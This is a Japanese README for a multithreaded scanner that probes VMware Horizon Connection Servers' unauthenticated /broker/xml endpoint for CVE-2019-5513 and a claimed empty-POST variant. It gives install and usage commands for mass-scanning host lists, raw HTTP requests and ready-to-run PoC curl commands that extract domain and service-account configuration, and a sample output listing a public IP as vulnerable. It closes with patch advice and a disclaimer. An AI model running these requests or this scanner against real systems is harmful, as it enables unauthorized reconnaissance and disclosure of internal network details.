
VMware Horizon Connection Server の /broker/xml エンドポイントにおける非認証の情報漏えい脆弱性を検出する、高性能なマルチスレッドスキャナです。
VMware Horizon Connection Server は、認証を必要とせずに機密性の高い内部設定情報を漏えいさせる可能性がある XML API エンドポイント(/broker/xml)を公開しています。このスキャナは、2つの攻撃ベクトルをテストすることで、脆弱なサーバーを迅速に特定します:
get-configuration XML コマンドを使用します。<?xml version="1.0" encoding="utf-8"?>
<broker>
<configuration>
<broker-service-principal>
<type>kerberos</type>
<name>[email protected]</name>
</broker-service-principal>
<domain>corporate-domain.example.com</domain>
</configuration>
</broker>
⚡ 特徴
超高速 — マルチスレッドアーキテクチャ(デフォルト 50 の同時スレッド)
デュアルプロトコルテスト — HTTPS(ポート 443)と HTTP(ポート 80)の両方を同時にチェック
2つの攻撃ベクトル — 空の POST ボディ(ゼロデイ)+ 細工された XML (CVE-2019-5513)をテスト
短いタイムアウト — リクエストあたり最大 5 秒、接続タイムアウト 3 秒
明確な出力 — 脆弱なホストには完全な XML レスポンス付きの色分けされた結果
結果のエクスポート — すべての検出結果を -o オプションでファイルに保存
依存関係なし — curl のみを使用(ほとんどのシステムで標準)
🚀 インストール
# Clone the repository
git clone https://github.com/sudosu01/CVE-2019-5513-scanner.git
cd vmware-horizon-scanner
# Make the script executable
chmod +x broker.sh
📖 使い方
基本スキャン
./broker.sh -d targets.txt
カスタムスレッドでスキャン(より高速)
./broker.sh -d targets.txt -t 100
スキャンして結果を保存
./broker.sh -d targets.txt -t 100 -o results.txt
コマンドラインオプション
| オプション | 説明 |
|---|---|
| -d | IP アドレス/ホスト名のリストを含む入力ファイル(1行に1つ) |
| -t | スレッド数(デフォルト: 50) |
| -o | 結果を保存する出力ファイル |
| -h | ヘルプメッセージを表示 |
入力ファイルの形式 (targets.txt)
# Comments start with #
185.171.101.236
192.168.1.100
10.0.0.50
example-vmware.com
📊 出力例
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
VMware Horizon /broker/xml Vulnerability Scanner
Multi-Threaded Mode - 50 threads
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[*] Testing: Empty POST (Zero-Day) + Crafted XML (CVE-2019-5513)
[*] Protocols: HTTPS + HTTP (both tested simultaneously)
[*] Scanning 3 hosts...
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[+] 185.171.101.236 | VULNERABLE | HTTPS | EMPTY_POST
Response:
<?xml version="1.0" encoding="utf-8"?>
<broker>
<configuration>
<broker-service-principal>
<type>kerberos</type>
<name>TEST-SERVER$@DOMAIN</name>
</broker-service-principal>
</configuration>
</broker>
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[-] 192.168.1.100 | NOT VULNERABLE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[+] 10.0.0.50 | VULNERABLE | HTTP | CRAFTED_XML
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[*] SCAN COMPLETE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Total hosts: 3
Vulnerable: 2
Not vulnerable: 1
Time taken: 4 seconds
🔬 Burp Suite でのテスト
手動テスト用に、生のリクエストを以下に示します:
テスト 1: 空の POST ボディ(ゼロデイ)
POST /broker/xml HTTP/1.1
Host: target.example.com
Content-Type: text/xml
User-Agent: VMware-Horizon-Client
Content-Length: 0
テスト 2: 細工された XML (CVE-2019-5513)
POST /broker/xml HTTP/1.1
Host: target.example.com
Content-Type: text/xml
User-Agent: VMware-Horizon-Client
Content-Length: 115
<?xml version='1.0' encoding='UTF-8'?><broker version='10.0'><get-configuration></get-configuration></broker>
📝 PoC curl コマンド
空の POST ボディ
curl -k -X POST "https://target/broker/xml" \
-H "Content-Type: text/xml" \
-H "User-Agent: VMware-Horizon-Client" \
-d ''
細工された XML
curl -k -X POST "https://target/broker/xml" \
-H "Content-Type: text/xml" \
-H "User-Agent: VMware-Horizon-Client" \
--data-binary '<?xml version="1.0" encoding="UTF-8"?><broker version="10.0"><get-configuration></get-configuration></broker>'
🛡️ 修復
VMware Horizon Connection Server をパッチ適用済みバージョンにアップグレードしてください:
| バージョン | 修正リリース |
|---|---|
| 7.x | 7.8 以降 |
| 7.5.x | 7.5.2 以降 |
| 6.x | 6.2.8 以降 |
追加の緩和策:
ネットワークアクセス制御を実装して /broker/xml エンドポイントへのアクセスを制限する
WAF ルールを使用して、このエンドポイントへの非認証リクエストをブロックする
/broker/xml への不審な POST リクエストを監視する
🙏 クレジット
このツールは、以下のセキュリティ研究者による研究に基づいています:
当初の CVE-2019-5513 発見 — Atredis Partners
Critical Start の Cory Mathews(独立した発見)
このツールにおけるゼロデイ発見
空の POST ボディ攻撃ベクトルは、追加調査中に特定されました。元の CVE は細工された XML ペイロードを必要としていました。このツールは、ペイロードの構築が不要で、さらに簡単に実行できる空のボディ方式もテストします。
⚠️ 免責事項
このツールは、教育目的および許可を得たセキュリティテストのみを対象としています。所有していない、またはテストする明示的な許可を得ていないシステムを無断でスキャンすると、法律や規制に違反する可能性があります。作者は誤用に対する責任を負いません。
📄 ライセンス
MIT ライセンス
⭐ サポート
このツールが役立つと思われた場合は、GitHub でスターを付けていただければ幸いです!
| 属性 | 値 |
|---|
| CVE | CVE-2019-5513 |
| CVSS スコア | 5.3 (中) |
| ベクター | AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N |
| 影響を受ける製品 | VMware Horizon Connection Server 7.8 より前の 7.x、7.5.2 より前の 7.5.x、6.2.8 より前の 6.x |
| 漏えいする情報 | Active Directory のドメイン名、サービスアカウント名(マシンアカウント)、内部ホスト名、ゲートウェイ IP アドレス |